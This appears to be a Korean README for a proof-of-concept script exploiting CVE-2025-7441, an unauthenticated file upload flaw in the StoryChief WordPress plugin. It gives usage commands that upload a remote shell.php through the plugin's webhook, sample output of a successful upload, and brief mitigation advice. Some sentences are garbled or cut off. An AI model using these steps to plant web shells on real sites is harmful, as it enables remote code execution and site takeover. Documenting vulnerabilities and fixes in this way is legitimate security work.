
StoryChief <= 1.0.42 - 인증되지 않은 임의 파일 업로드
/wp-json/storychief/webhookdata.featured_image.data.sizes.full 아래에 URL을 포함한 JSON 웹훅 페이로드를 수락하고, 충분한 검증 없이 (도메인 허용 목록 부재, 불충분한 MIME/콘텐츠 검사, 파일이 공개 업로드 경로에 저장됨) 해당 URL에 대해 서버 측 HTTP GET을 수행합니다.wp-content/uploads/YYYY/MM/<filename>)에 저장하도록 할 수 있습니다. 업로드된 파일이 서버에 의해 해석/실행될 수 있는 경우(예: PHP 파일이고 서버가 해당 위치에서 PHP 실행을 허용하는 경우), 이는 원격 코드 실행(RCE) 및 전체 사이트 손상으로 이어집니다.CVE-2025-7441)에 대하여이 스크립트는 취약점에 대한 일반적인 익스플로잇 확인 과정을 자동화합니다:
data.featured_image.data.sizes.full에 배치하는 웹훅 JSON 페이로드를 구성합니다.meta.mac에 저장합니다.<site_url>/wp-json/storychief/webhook로 POST합니다.<site_url>/wp-content/uploads/<YEAR>/<MM>/<basename>
파일이 HTTP 200으로 응답하면 스크립트는 성공을 보고하고, 그렇지 않으면 <failed to upload>를 출력합니다.스크립트는 다음 플래그를 포함합니다: --file-url, --verbose, --use-curl, --retries.
python3 CVE-2025-7441.py <site_url>
<site_url> — 대상 사이트의 기본 URL. 예: http://127.0.0.1:5000/ 또는 https://target.example/--file-url — PoC가 사용하는 기본 원격 파일 URL을 재정의합니다. 기본값: 하드코딩된 샘플 원시 GitHub URL. 예: --file-url https://127.0.0.1:5000/zip.php--verbose — 자세한 출력 활성화 (요청/응답 세부 정보 및 확인 진행 상황 출력).--use-curl — POST 전송에 curl 하위 프로세스 사용 (폴백 모드). curl 설치 필요.--retries — 파일에 대한 예상 업로드 경로를 확인하는 시도 횟수. 기본값: 1. 예: --retries 5를 사용하여 여러 번 폴링합니다.python3 CVE-2025-7441.py http://127.0.0.1:5000/
사용자 지정 원격 파일 URL 지정
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php
자세한 출력 및 여러 번 확인
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
curl을 사용하여 POST 전송
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
출력:
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
완화 및 수정 단기:
/wp-json/storychief/webhook을 차단 또는 제한하십시오.개발자 지침:
wp-content/uploads에서 업로드된 파일의 실행을 비활성화하십시오